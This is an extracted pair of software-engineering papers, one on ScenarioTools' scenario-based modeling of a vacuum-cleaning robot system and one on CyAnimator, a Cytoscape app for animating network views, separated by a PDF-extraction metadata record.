Keywords: Scenario-based modeling, reactive systems, distributed embedded systems, dynamic topologies, assume/guarantee specifications
1 Introduction
Software-intensive systems often consist of multiple cooperating reactive components. This is also the case for the challenge problems of the MDE Tools Challenge 2017: the 'Rover' and the 'Intelligent House'. Such systems provide increasingly rich functionality in order to meet growing customer needs. Therefore, developing correct software for these systems is a difficult challenge, especially due to the distributed and concurrent nature of the systems’ software.
Model-Driven Engineering tools support engineers by offering problem-specific and platform-independent modeling languages, along with a systematic and automated process of deriving platform-specific, executable code. If the modeling languages have a precise semantics, formal analysis can help analyze the system design and identify problems early and on a problem-specific level.
SCENARIOTOOLS offers such an MDE approach for the development of distributed reactive systems. It supports the scenario-based modeling via the Scenario Modeling Language (SML), a textual variant of Live Sequence Charts.
SML and LSCs model the behavior of a system as a set of separate scenarios that each describe how the system components may, must, or must not react to external events. The resulting specifications are executable via the play-out algorithm, which enables early validation by simulation, and even executing the scenarios as the actual implementation of the system.
SML in particular supports the modeling of environment assumptions in the form of assumption scenarios. They describe what will or will not happen in the environment or how the environment, in turn, will react to system actions. Modeling such assumptions is essential for systems that control processes in the physical world, such as robot control software. Also, SML supports the modeling of systems with dynamic topologies, which are systems where the component properties and relationships change and runtime and influence on how the components interact. SML supports dynamic role bindings and integration with graph transformations for this purpose.
ScenarioTools supports an MDE process called SBDP (Scenario-Based Development Process). It consists of the following steps, also see Fig. 1:
1. **Modeling the system structure and behavior:** The structure, i.e., the system and environment components, their properties and relationships, is modeled using a class diagram; the behavior is specified by an SML assume/guarantee specification that refers to that system structure model.
2. **Realizability-checking and verifying the specification:** ScenarioTools implements a formal synthesis algorithm that checks whether a strategy exists for the system to react to any sequence of environment events in such a way that the specification will be satisfied. If this is not the case, the specification is unrealizable and the algorithm produces a counter-strategy (similar to a counter-example in model checking) that helps the engineer understand the specification flaw. The algorithm can also verify whether implementation code, as created in the next step, will satisfy the specification.
3. **Code generation:** ScenarioTools provides a Scenario-Based Programming (SBP) framework that reflects the SML concepts in Java; for example, scenarios are programmed by extending special scenario classes. Their execution results in a play-out of the scenarios. This also works in a distributed setting, where components communicate over a network. ScenarioTools can automatically translate SML into SBP code. Notably, also assumption scenarios are translated into SBP scenarios; they monitor whether the environment satisfies the assumptions (run-time assumption validation).
4. **Extension with platform-specific code:** Code is added to bridge problem-specific events in the specification to platform-specific sensor and actuator events. Example: In the specification it may be natural to describe an event robot enters room. On the platform, this involves inferring information from multiple sensors. Such a logic may itself be a complex reactive subsystem; then it can also be implemented in SBP or by applying the process here.
In this paper, we describe SBDP by the example of a cleaning robot system (our variant of the Rover challenge problem) (Sect. 3). We show parts of the SML
2 Challenge Problem: A Vacuum Cleaner Robot System
As an example, we consider a vacuum cleaning robot system where robots move between rooms in a given layout. Figure 2 shows a simple layout with three rooms and one robot. Some rooms are equipped with dirt sensors that notify a central robot manager when a room gets dirty. The robot manager then orders a robot to start moving and cleaning. When moving, the robot’s battery discharges and it has to recharge at a charging station before it runs out of charge.
3 Scenario-Based Specification
An SML specification defines how objects in an object model must interact by sending messages. We consider synchronous communication where the sending and receiving of a message is a single message event. A message has one sending
and one receiving object and it refers to an operation or property defined for the receiving object. When referring to a property, a message event has a side-effect on that property value for the receiving object, such as adding/removing elements from a list (e.g., `rManager→rManager.dirtyRooms.add(dirtyableRoom)` or setting a property value (`robotCtrl→robotCtrl.setMoving(true)`). A run of a system is an infinite sequence of message events and object model configurations that evolve from an initial object model due to message events side-effects.
The object model is partitioned into controllable (system) objects and uncontrollable (environment) objects. A message event is a (controllable) system event if sent by a system object and an (uncontrollable) environment event otherwise.
An SML specification defines the valid runs of a system by a set of assumption-and guarantee scenarios. Guarantee scenarios describe how system objects may, must, or must not react to environment events; assumption scenarios describe what may, will, or will not happen in the environment, or how the environment may, will, or will not react to system events. A run satisfies an SML specification if it satisfies all guarantee scenarios or violates at least one assumption scenario.
Listing 1.1 shows parts of the SML specification of the cleaning robot system. An SML specification refers to a domain class model (line 5) that describes a set of possible object models for which the specification models the behavior. In this example, the class model defines rooms, robots, their software controller, and the robot manager. For execution and analysis, an initial object model, for example one as shown in Fig. 2, must be provided in an external configuration.
In line 7, the specification defines controllable objects by listing their classes in a corresponding section. All other objects are environment objects.
The non-spontaneous events section (line 9) lists events that we assume cannot happen spontaneously, but only when an assumption scenario specifies that they can happen. In this example, rooms can become dirty spontaneously, but a robot’s room only changes when the robot was ordered to move.
The remaining specification consists of scenarios that can be organized in collaborations. A collaboration defines roles, which represent interacting objects. In this case, all scenarios are grouped in one collaboration.
A scenario specifies what are valid sequences of message events and object model conditions. Message events are modeled as scenario messages. A scenario message refers to a sending and a receiving role, an operation or property defined by the receiving role’s class, and possibly message parameter expressions.
When a message event occurs in the system that matches the first message in a scenario, an active copy of the scenario is created and the sending and receiving roles are bound to the sending and receiving objects of the message event. Further roles appearing in the scenario must be bound based on binding expressions (e.g., line 36) or they are bound to objects referenced as parameters by the message event (e.g., line 26). The active copy of the scenario progresses as further message events occur that match the subsequent messages in the context of the previously determined role bindings.
The messages can have different modalities such as strict, urgent, or eventually. When the scenario progresses to these messages—we say that they become
enabled—the modalities influence what may, must, and must not happen next. When a scenario proceeds to a strict message, it means that no message event must occur that corresponds to a message in the same scenario that is not currently enabled. When an urgent system message is enabled, it means that a corresponding message event must occur before the next environment event occurs. When an eventually message is enabled, a corresponding message event must occur eventually. Violations of the eventually modality are called liveness violations, violations of the strict and urgent modalities are safety violations.
A scenario can also specify wait, interrupt, and violation conditions. When an active scenario progresses to an interrupt condition that evaluates to true, the active scenario terminates; otherwise it progresses immediately. When the active scenario reaches a wait condition that evaluates to false, the active scenario does not progress until the condition renders true; when it evaluates to true, it immediately progresses beyond it. Wait conditions can have the eventually modality, meaning that the condition must become true eventually (otherwise, this is again a liveness violation). If an active scenario progresses to a violation condition that evaluates to true, this is a safety violation.
Example scenarios explained: The RobotManagerAddsDirtyRoomToListAndSelectsRobot scenario specifies that when a room is reported as being dirty, the robot manager must add the room to a list of dirty rooms and select any of its associated robots, resp. their controllers, for cleaning it. The scenario RobotManagerOrdersRobotToCleanRoom specifies that after selecting a robot controller, the robot manager must signal that robot controller to start moving the robot. The EventuallyCleanDirtyRoom scenario specifies that once a robot manager registers a room in a list of dirty rooms, this room must eventually be removed from that list. The scenario MoveRobotWhenOrderedTo specifies that then the robot must move to any of the adjacent rooms. The any in the parameter expression means that one of the adjacent rooms of the robot’s current room can be selected non-deterministically. How the robot should select the a route to the next dirty room is not specified in this scenario—it is often desirable during the early design to under-specify in such a way, when a concrete solution has not yet been decided upon. The behavior can be refined by adding further scenarios that, for example, select a next rooms from a list of rooms that was computed as the shortest path to a dirty room. (Details are omitted for brevity.)
The assumption scenario RobotArrivesInRoom specifies that when a robot is ordered to move to an adjacent room, and only if the room is really adjacent to its current room, it will eventually arrive in that room. The scenario RobotDischargesOrRecharges specifies the assumption that the robot’s battery will discharge when moving to a next room, and it will be recharged if it moves to a room with a charging station.
4 Play-out, Realizability Checking, Verification
The play-out algorithm defines an execution semantics for SML specifications. In brief, it works as follows: Initially, the system waits for environment events
import "vacuumrobot.ecore"
specification VacuumrobotSpecification {
domain vacuumrobotmodel // class model
controllable { VacuumRobotManager VacuumRobotController }
non-spontaneous events { VacuumRobotController.setRoom VacuumRobotController.setCharge}
collaboration VacuumrobotCollaboration {
static role VacuumRobotManager rManager
dynamic role DirtyableRoom dirtyableRoom
dynamic role Room room
dynamic role VacuumRobot robot
dynamic multi role VacuumRobotController robotCtrl
guarantee scenario RobotManagersAddsDirtyRoomToListAndSelectsRobot{
dirtyableRoom->rManager.dirtDetected
rManager->rManager.dirtyRooms.add(dirtyableRoom)
}
guarantee scenario EventuallyCleanDirtyRoom{
rManager->rManager.dirtyRooms.add(bind dirtyableRoom)
wait eventually ![rManager.dirtyRooms.contains(dirtyableRoom)]
}
guarantee scenario RobotManagerOrdersRobotToCleanRoom{
rManager->rManager.orderRobotToCleanRoom(bind robotCtrl)
strict urgent rManager->robotCtrl.startMoving()
}
guarantee scenario MoveRobotWhenOrderedTo
bindings [ robot = robotCtrl.robot ]
rManager->robotCtrl.startMoving()
interrupt [robotCtrl.moving]
var Room currentRoom = robotCtrl.room
strict urgent robotCtrl->robot.moveToAdjacentRoom(currentRoom.adjacentRooms.any())
strict urgent robotCtrl->robotCtrl.setMoving(true)
}
guarantee scenario RobotMustEventuallyRecharge{
robot->robotCtrl.setCharge(*)
wait eventually [robotCtrl.charge == robot.maxCharge]
}
guarantee scenario RobotMustNotRunOutOfCharge{
robot->robotCtrl.setCharge(*)
violiation [robotCtrl.charge <= 0]
}
// further guarantee scenarios ...
assumption scenario RobotArrivesInRoom {
robotCtrl->robot.moveToAdjacentRoom(bind room)
var Room currentRoom = robotCtrl.room
interrupt ![currentRoom.adjacentRooms.contains(room)]
eventually robot->robotCtrl.arrivedInRoom(room)
}
assumption scenario RobotDischargesOrRecharges {
robot->robotCtrl.arrivedInRoom(bind room)
alternative [room.hasChargingStation]
strict committed robot->robotCtrl.setCharge(room.maxCharge)
} or ![room.hasChargingStation]
strict committed robot->robotCtrl.setCharge(robotCtrl.charge - 1)
}
// further assumption scenarios ...
Listing 1.1. Part of the vacuum robot system SML specification
to occur. When an environment occurs that activates or progresses guarantee scenarios such a way that urgent or eventually system messages are enabled, the system non-deterministically choses a corresponding system message for execution, as long as it is not blocked by another active guarantee scenario, i.e., would lead to a safety-violation. The system can send further messages until there are no more enabled system messages marked as urgent or eventually. Then the system waits for the next environment event and the process is repeated. We assume that the system is fast enough to execute any finite number of message events before the next environment event occurs. SCENARIO TOOLS supports an interactive play-out of the SML specification, which can be used for validation.
Moreover, SCENARIO TOOLS is capable of building a graph of all possible play-out executions. In that graph, edges are labeled with environment and system message events; the structure can be viewed as an infinite two-player game, played by the system against the environment. The system wins the game if, no matter what environment events the environment chooses, the system can chose system events in such a way that the resulting path corresponds to a run that satisfies the specification. If this is not the case, the specification is unrealizable and must be fixed. The game is a GR(1) game that SCENARIO TOOLS solves by an implementation of the GR(1) game algorithm by Chatterjee et al. [2]. If the specification is realizable, the algorithm produces a strategy of how the system can satisfy the specification; if the specification is unrealizable, the algorithm produces a counter-strategy of how the environment can always force a violation. The counter-strategy helps understand the specification flaw.
If the specification is realizable, but the strategy identifies that not all system moves in the play-out graph are winning, it means that during play-out, the system may make choices that do not lead to a valid run. For example, when the cleaning robot is in room 01, and room 02 gets dirty, but the robot only moves between room 01 and room 03, the dirty room may never be cleaned. In such a case, the specification can be refined, for example as explained before, in order to constrain the system choices, so that each play-out choice is winning.
When this property is satisfied, we can generate SBP code from the SML specification, which will then perform a play-out of the specification that is guaranteed to satisfy the specification.
5 Scenario-Based Programming (SBP)
SCENARIO TOOLS provides the SBP framework in which scenarios specifications can be programmed in a way that is very similar to SML. SBP builds on the Behavioral Programming for Java framework, BPJ [9]. A BPJ program consists of a collection of collaborating BThreads. Scenarios can be programmed in SBP by extending a special scenario BThread class, and SBP adds certain BThreads so that the scenario BThreads are executed according to the play-out algorithm.
SBP is suitable for programming scenarios manually, but it is also a convenient target for code generation from SML. Figure 1.2 shows the SBP scenario generated from the RobotManagerOrdersRobotToCleanRoom scenario.
public class RobotManagerOrdersRobotToCleanRoomScenario extends VacuumrobotCollaboration {
@Override
protected void registerAlphabet() {
setBlocked(rManager, rManager, "orderRobotToCleanRoom", RANDOM);
setBlocked(rManager, robotCtrl, "startMoving");
}
@Override
protected void initialisation() {
addInitializingMessage(new Message(rManager, rManager, "orderRobotToCleanRoom", RANDOM));
}
@Override
protected void body() throws Violation {
robotCtrl.setBinding((VacuumRobotController) getLastMessage().getParameters().get(0));
request(STRICT, rManager, robotCtrl, "startMoving");
}
}
Listing 1.2. SBP code for the RobotManagerOrdersRobotToCleanRoom scenario
class overrides different methods from a scenario superclass: the registerAlphabet method registers all messages appearing in the scenario. The initialise method registers the messages upon which an instance of the scenario BThread will be started. The body method implements the scenario behavior after the occurrence of the first message. Here, a role binding must be performed based on a parameter that was carried by the initializing message event. A call of the request method makes the BThread yield and hand over different message events to the play-out event selection mechanism. For more details, see [6,11].
6 Platform-Specific Extension
The SBP code from the example can be executed in a distributed setting, where the robot controller runs on a RaspberryPi-based robot (Pi2Go) that mimics a cleaning robot, and the robot manager runs on a different computer, both communicating via MQTT. The Pi2Go moves on a grid that represents the room layout. The dirtDetected events can be injected via a GUI, Fig.3 and [https://youtu.be/VsSbueeIVYK](https://youtu.be/VsSbueeIVYK) moveToAdjacentRoom events are translated into commands that make the robot turn and follow a line to the next 'room'. When the robot arrives at the next 'room', another platform-specific component translates the sensor inputs into arrivedInRoom and setCharge events.
Fig. 3. The RaspberryPi robot in action
7 Related Work
Harel and Maoz describe a mapping from LSCs to AspectJ (S2A) for play-out [12]. It is similar to SBP, but SBP scenario threads resemble the SML scenarios more closely than the AspectJ code. Also, no extension exists for the distributed execution of S2A code.
Other MDE tools for designing reactive systems exist, but most use component- and state-based models, such as MechatronicUML [13], UML-RT resp. PapyrusRT [10], Matlab Simulink Stateflow, or the P language [4].
8 Conclusion
Strengths: The main strength of the approach is the requirements-aligned nature of the modeling: engineers can formally model the behavior similar to use case scenarios. Scenarios can be added to add behavior as well as restrict previous behavior. Moreover, the scenarios specify the interaction of components rather than describing the behavior of each of the components. Further strengths are:
- The formal realizability checking and verification that it supports.
- The assumption validation at run-time (assumption scenario monitoring).
- The distributed execution capabilities.
- Support for systems with dynamic topology.
Weaknesses: The flexible modeling with overlapping behavior aspects spread across many scenarios has the problem that detecting and understanding specification flaws can be difficult. However, the same problem arise also when using informal use-cases and scenarios—then the problem is only worse, because no automated checks can help find them early. Further weaknesses are:
- Currently, only the generation of SBP Java code is supported. The concepts, however, can also be mapped to C++ code.
- The SBP code relies on the play-out algorithm where active scenarios are run as separate threads that coordinate for event-selection. This creates memory and time overhead, which may be critical for applications where hardware resources are sparse. We propose alternative approaches in this case [17].
- Currently, ScenarioTools supports no real-time constraint in SML, but a previous tool version shows how real-time constraints can be integrated [4].
Acknowledgments: Funded by the German Israeli Foundation for Scientific Research and Development (GIF), grant No.1258.
References
A Example Artifact
The final paper will not have this section included, but we will set up a web-page with the links below, and only provide a single link to that webpage.
SCENARIO TOOLS can be installed following the setup instructions here: http://scenariotools.org/downloads/download/.
The example project is located in https://bitbucket.org/jgreenyer/scenariotools-sml-examples/src//org.scenariotools.examples.sbp.vacuumrobotv2/?at=master (Import to Eclipse runtime workspace mentioned in the above setup instructions.)
|
{"Source-Url": "http://jgreen.de/wp-content/documents/2017/paper-MDETOOLS2017.pdf", "len_cl100k_base": 4743, "olmocr-version": "0.1.53", "pdf-total-pages": 11, "total-fallback-pages": 0, "total-input-tokens": 26850, "total-output-tokens": 6334, "length": "2e12", "weborganizer": {"__label__adult": 0.00033664703369140625, "__label__art_design": 0.0003180503845214844, "__label__crime_law": 0.0003268718719482422, "__label__education_jobs": 0.00042557716369628906, "__label__entertainment": 5.495548248291016e-05, "__label__fashion_beauty": 0.0001475811004638672, "__label__finance_business": 0.00017893314361572266, "__label__food_dining": 0.0003228187561035156, "__label__games": 0.0005178451538085938, "__label__hardware": 0.0010251998901367188, "__label__health": 0.0003752708435058594, "__label__history": 0.00020825862884521484, "__label__home_hobbies": 9.41157341003418e-05, "__label__industrial": 0.0005049705505371094, "__label__literature": 0.0001809597015380859, "__label__politics": 0.00023984909057617188, "__label__religion": 0.0003845691680908203, "__label__science_tech": 0.0169677734375, "__label__social_life": 6.920099258422852e-05, "__label__software": 0.003725051879882813, "__label__software_dev": 0.97216796875, "__label__sports_fitness": 0.0003294944763183594, "__label__transportation": 0.000659942626953125, "__label__travel": 0.00020003318786621096}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 26951, 0.01004]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 26951, 0.58984]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 26951, 0.84344]], "google_gemma-3-12b-it_contains_pii": [[0, 2618, false], [2618, 5874, null], [5874, 6651, null], [6651, 10139, null], [10139, 13406, null], [13406, 15604, null], [15604, 18854, null], [18854, 20982, null], [20982, 23515, null], [23515, 26425, null], [26425, 26951, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2618, true], [2618, 5874, null], [5874, 6651, null], [6651, 10139, null], [10139, 13406, null], [13406, 15604, null], [15604, 18854, null], [18854, 20982, null], [20982, 23515, null], [23515, 26425, null], [26425, 26951, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 26951, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 26951, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 26951, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 26951, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 26951, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 26951, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 26951, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 26951, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 26951, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 26951, null]], "pdf_page_numbers": [[0, 2618, 1], [2618, 5874, 2], [5874, 6651, 3], [6651, 10139, 4], [10139, 13406, 5], [13406, 15604, 6], [15604, 18854, 7], [18854, 20982, 8], [20982, 23515, 9], [23515, 26425, 10], [26425, 26951, 11]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 26951, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-11
|
2024-12-11
|
1db3c85656b867a89cb109f89ffcdb88de03995d
|
CyAnimator: Simple Animations of Cytoscape Networks
[version 2; peer review: 3 approved]
John H. Morris¹, Dhameliya Vijay², Steven Federowicz³, Alexander R. Pico⁴, Thomas E. Ferrin⁵
¹Resource for Biocomputing, Visualization and Informatics,, University of California, San Francisco, CA, 94143, USA
²Dhirubhai Ambani Institute of Information and Communication Technology, Gujarat, India
³Intrexon Inc., San Diego, CA, 92121, USA
⁴Gladstone Institutes, San Francisco, CA, USA
⁵Resource for Biocomputing, Visualization and Informatics, University of California, San Francisco, CA, USA
Abstract
CyAnimator (http://apps.cytoscape.org/apps/cyanimator) is a Cytoscape app that provides a tool for simple animations of Cytoscape networks. The tool allows you to take a series of snapshots (CyAnimator calls them frames) of Cytoscape networks. For example, the first frame might be of a network shown from a “zoomed out” viewpoint and the second frame might focus on a specific group of nodes. Once these two frames are captured by the tool, it can animate between them by interpolating the changes in location, zoom, node color, node size, edge thickness, presence or absence of annotations, etc. The animations may be saved as a series of individual frames, animated GIFs, or H.264/MP4 movies.
CyAnimator is available from within the Cytoscape App Manager or from the Cytoscape app store.
Keywords
Cytoscape, CyAnimator, network, animation
This article is included in the Cytoscape gateway.
This article is included in the International Society for Computational Biology Community Journal gateway.
Introduction
Biological networks are typically represented as nodes and edges (node-link diagrams) that might represent the pathways, signaling cascades, interactions between proteins, and other relationships between biological entities. The problem with this representation is that it makes it seem like these relationships are static, but it is well known that biological networks are dynamic, adapting and changing in response to the cell cycle, environmental conditions, development, and, over longer periods of time, evolution. One of the best methods to represent these changes is to take advantage of motion, showing changes by interpolating between the two states. This use of motion is one way to address “change blindness”, which makes it difficult to detect the difference between two images when they are shown in succession. This is important both for presentation of results to collaborators and the broader scientific community and for the exploration of data by individual researchers.
Cytoscape* is one of the most common tools used to visualize and analyze biological networks. It provides very powerful visualization tools to map a variety of categorical and numeric data into visual attributes associated with the nodes and edges of node-link diagrams. Unfortunately, Cytoscape does not provide any inherent animation capabilities, making it difficult to use interpolation to detect changes between two states, however, Cytoscape does provide a rich infrastructure for extending its core functionality through “apps”*. Several Cytoscape apps provide some animation capabilities. For example, VistaClara*, 3Dscape*, and clusterMaker* provide support to animate through the columns of a heat map. DynNetwork (http://apps.cytoscape.org/apps/dynnetwork) reads specially constructed input files that specifically encodes changes to the network over time. Of these, only clusterMaker2 and DynNetwork are available in Cytoscape 3, and offer relatively limited restrictive animation capabilities (in the case of clusterMaker2) or require construction of special input files in advance (in the case of DynNetwork). None of the available tools allows for the animation of arbitrary changes to the network topology or visualization.
CyAnimator attempts to fill this gap by providing a tool that supports animation by allowing the user to designate particular network views as “key frames”. These frames represent the state of the network at particular moments in time including the current list of nodes and edges and the visual attributes of those nodes and edges. The user may then arrange those frames in a desired sequence and CyAnimator will interpolate between the frames resulting in a smooth animation between the states of the network. The resulting animation may be saved as a movie.
Methods
Implementation
The main object in CyAnimator is a CyFrame, which contains all of the information about the visual attributes of the network background, annotations, nodes, and edges. This information is stored in a series of maps indexed by the network, node, edge or annotation object. CyAnimator makes heavy use of the visual property system in Cytoscape and the pseudocode for the general loop for populating a CyFrame is:
```java
getNetworkVisualProperties();
foreach Node:
getNodeVisualProperties();
foreach Edge:
getEdgeVisualProperties();
foreach Annotation:
getAnnotationVisualProperties();
getImage();
```
The captured image is used to show thumbnails to the user in the CyAnimator dialog (see below). The result of the above pseudocode is the creation of 4 maps:
```java
Map<CyNode, Map<VisualProperty<?>, Object>> nodePropertyMap;
Map<CyEdge, Map<VisualProperty<?>, Object>> edgePropertyMap;
Map<CyNetwork, Map<VisualProperty<?>, Object>> networkPropertyMap;
Map<Annotation, Map<VisualProperty<?>, Object>> annotationPropertyMap;
```
When the user clicks on a frame in the CyAnimator dialog or during the animation, the stored visual properties are mapped onto the current network. This is a straightforward mapping except in circumstances where the current network does not have the node, edge, or annotation that the stored CyFrame had or the CyFrame did not have a node, edge, or annotation that the current network has. In the first case, the missing object is added to the network and styled using the stored information. This approach depends on the fact that deleted nodes and edges are not removed from the CyRootNetwork (the root of the network collection), so the topology of the network at the time the CyFrame was stored may be recreated. In the second case, the CyFrame sets the visibility of the object to false, hiding that object, and resulting in a network view that is consistent with the saved visual properties.
Interpolation between CyFrames is handled by the Interpolator, which maintains lists of interpolators for node visual attributes, edge visual attributes, annotation visual attributes, and network visual attributes. The Interpolator makeFrames() method takes as input the list of CyFrames, the user saved (key frames) and returns...
an array of frames that includes interpolations between each pair of key frames. So, if the user has requested 30 frames between each key frame, and created 5 key frames, `makeFrames()`, will return 121 frames, which is the number of key frames to interpolate between (key frames - 1), multiplied by the number of interpolations between each key frame, plus the initial key frame ((key frames - 1)* (interpolations + 1)).
CyAnimator currently supports several different interpolators:
**Color**
- Colors are linearly interpolated between the two key frames. Color interpolation may include interpolation of transparency using a Bezier to provide more natural fade-in/fade-out.
**Size**
- Linear interpolation of numerical values (usually sizes) between the two key frames.
**Transparency**
- Linear interpolation of transparency values.
**ObjectPosition**
- Special interpolator for changes in label and custom graphics positions. Doesn’t support changes in justification or object anchor.
**Position**
- Linearly interpolate changes in X,Y position of objects.
**Crossfade**
- For properties that can not be easily interpolated (e.g. node shape), fades the object out, then fades it in with the new property.
**CustomGraphicsCrossfade**
- Crossfade between two custom graphics.
**Visible**
- Fades an object in or out if the visibility changes.
**None**
- This visual attribute is not interpolated.
Table 1 shows the interpolated visual attributes and the type of interpolation.
To implement the creation of a movie, three different mechanisms are used. In each case, an image file is created for each interpolated frame. One option the user has is to just write out the individual frames and allow them to use whatever movie making tool they desire. We have also implemented an animated GIF writer using the native Java ImageIO library. Finally, for creating MP4 movies with the H.264 codec, we utilize the JCodec (http://jcodec.org/) Java library, which includes the necessary video codecs.
CyAnimator is not able to handle all visual properties, however. Currently edge bends are not correctly interpolated and neither are certain changes in label position (particularly those that require knowledge of the rendered width or height). Furthermore, with the introduction of multiple back-end renderers in Cytoscape 3.2 and 3.3, it’s not clear how well CyAnimator will work with other renderer implementations.
**Operation**
To bring up CyAnimator select Apps→CyAnimator. This will bring up an empty CyAnimator dialog (Figure 1). Note that CyAnimator is only able to animate between networks in the same network collection (In Cytoscape 3, a Network Collection contains multiple networks which possibly share nodes and edges). Starting CyAnimator on a new network collection will create a new, empty, CyAnimator dialog. Once a CyAnimator dialog is open, the general workflow is to manipulate the network to what you want it to look like at the start of your movie, then select to add the frame to CyAnimator. Once the frame has been added, modify your network to what you want it to look like in the next frame of your movie and then again select . Note that CyAnimator will do all of the interpolation to get from one frame to another, so the manipulations of the network can include a variety of changes, including changes in color, position, zoom, annotations, etc. Repeat this process until you are happy with your movie, then simply press the record ( ) button. If you want more time between any two frames, simply drag the image. The timeline is measured in seconds and assumes that 30 frames will be interpolated for each second.
**CyAnimator dialog**
The CyAnimator dialog provides the main interface to CyAnimator, including the following controls:
- Add the current network view as a frame to the animation.
- Remove all currently selected frames.
- Remove all frames from the timeline.
- Play the animation by interpolating through each frame.
- Pause the currently playing animation.
- Stop the currently playing animation.
- Step backwards to the previous interpolated frame.
- Step forwards to the next interpolated frame.
- This toggle button controls whether the animation is looped or not. When the button is in, the animation will continue to loop, otherwise, it will stop at the end.
- Bring up the Output Options dialog and record a movie or (optionally) save each of the interpolated frames.
**Animation Speed**
The speed slider controls the speed of the animation (but is ignored for the recorded movies, which uses it’s own Frames Per Second option.
### Table 1. Visual Property Interpolations.
<table>
<thead>
<tr>
<th>Object Type</th>
<th>Visual Attributes</th>
<th>Interpolation</th>
</tr>
</thead>
<tbody>
<tr>
<td>Network</td>
<td>Background Paint, X, Y, and Z Location, Depth, Height, Scale Factor, Size, and Width</td>
<td>Color, Position, Size</td>
</tr>
<tr>
<td>Node</td>
<td>Label Color, Paint, Label, Font Face, Line Type, Label Transparency, Transparency, Width, Label Size, Visible</td>
<td>Color, CrossFade, Transparency, Size, Visible</td>
</tr>
<tr>
<td>Edge</td>
<td>X and Y Location, Zoom, Width, Height, Border Width, Font Size, Image Contrast, Image Brightness, Arrow Source Size, Arrow Width, Arrow Target Size</td>
<td>Position, Size</td>
</tr>
<tr>
<td></td>
<td>Color, Font Color, Border Color, Arrow Source Color, Arrow Target Color, Arrow Color, Opacity, Image Opacity, Shape, Text, Font Style, Font Family, Image URL, Arrow Source Anchor, Arrow Target Anchor, Arrow Source Type, Arrow Target Type</td>
<td>Color, Transparency, Crossfade, None</td>
</tr>
<tr>
<td>Annotations</td>
<td>Canvas</td>
<td>None</td>
</tr>
</tbody>
</table>

**Figure 1.** The CyAnimator Dialog showing two key frames. To support creating and modifying complicated movies, CyAnimator saves all of the frames as part of the session. When you open a Cytoscape session that has been saved with an active CyAnimator timeline, that timeline will be presented when the CyAnimator dialog is presented (Apps→Cy Animator).
Clicking on a frame and then dragging it will move the frame in the timeline. Holding down the shift key when clicking and dragging a frame will move all of the frames to the right the same amount. To make a frame current (i.e. show that frame in the Network Window), double-click on the frame. To delete a frame, click on the frame to select it, and press the trash can icon (🗑️).
**Output options**
The Output Options Dialog (see Figure 2) provides the controls to choose the type of video you want to produce, options about the resolution and speed of the video, and the location of the video output.
**Video types**
*Frames.* This is the simplest of the video types. This will output each frame as a “.png” file at the requested resolution (see ‘Resolution’ below) into the Video location directory specified. To make a movie, you could use any of the standard video packages that accept individual frames (e.g. iMovie on Mac). Note that the Frames Per Second option doesn’t make sense for this output type since we’re only writing individual frames (no time encoding), so this option is disabled (grayed out) in the interface.
*GIF.* This will output an animated GIF of the interpolated frames. Animated GIF files are easy to show on web sites, but are not the currently accepted standard format. On the other hand, animated GIF files are computationally very easy to produce.
*MP4/H.264.* This will output a raw MPEG4 file of the interpolated frames. Producing an MP4 can be computationally expensive, and will require more time and memory to complete.
**Frame options**
*Frame rate.* This controls the speed of the movie in terms of the number of frames per second. Four frame rates are offered, the two standard frame rates: 25 (PAL) and 29.97 (NTSC), and 30 and 60. The timeline dialog is calibrated at 30 frames per second, so a frame rate of 30 will correspond to the timeline and is a good default unless there is a reason to use one of the standards.
*Resolution.* This controls the resolution of the output frames. The units are % expansion, so a Resolution of 300 would result in a 300% (or 3X) expansion of the output image. This is extremely important for high-quality videos. We recommend at least a 2X (Resolution of 200) expansion for any published video.
**Example movie**
A sample movie is provided (see Supplementary_File_1.mov) that was created with CyAnimator 2.0.2 and Cytoscape 3.3.0. This movie used galFiltered.cys, which may be located in the sampleData subdirectory of the Cytoscape installation directory (e.g. /Applications/Cytoscape_v3.3.0/sampleData on a Mac). The movie consisted of 13 key frames:
1. the full network using the default style
2. a view focused on MCM1 (YMR043W)
3. that same view using COMMON NAME for the node label and circle for node shape
4. same view as 3, but scaled the node size and node label size by Degree
5. added in some annotations to highlight MCM1

**Figure 2.** The Output Options Dialog showing the production of an MP4/H.264 video file at the screen resolution and 30 frames/second.
6. Change the node colors using the data from the gal1RGexp column. Color gradient is from blue to yellow. Added a text annotation describing the data.
7. The same view as the above – to hold it on the screen.
8. The same as #6, but using gal4RGexp as the column.
9. Again, use the same frame before to provide some time onscreen.
10. The same as #8, but using gal80Gexp as the column.
11. Another frame of gal80Gexp.
12. This frame uses the custom graphics Chart feature to show all three expression values and shows how custom graphics fade in. The labels were also moved down to avoid the charts.
13. Another capture frame of the same frame as #12.
Conclusions
CyAnimator is an important addition to the suite of Cytoscape apps. It provides an easy tool to interpolate between different states of a network and may be used to animate changes over time, condition, or treatment. In the future, we will be adding support for visualization engines other than current default, including the ability to animate 3D renderers.
Software availability
Software available from http://apps.cytoscape.org/apps/cyanimator
Supplementary material
Sample movie created with CyAnimator and Cytoscape 3.3. This movie used galFiltered.cys, which may be located in the sampleData subdirectory of the Cytoscape installation directory (e.g. /Applications/Cytoscape_v3.3.0/sampleData on a Mac) as a starting point.
Click here to access the data.
See below for the saved session file.
http://dx.doi.org/10.5256/f1000research.6852.s11014
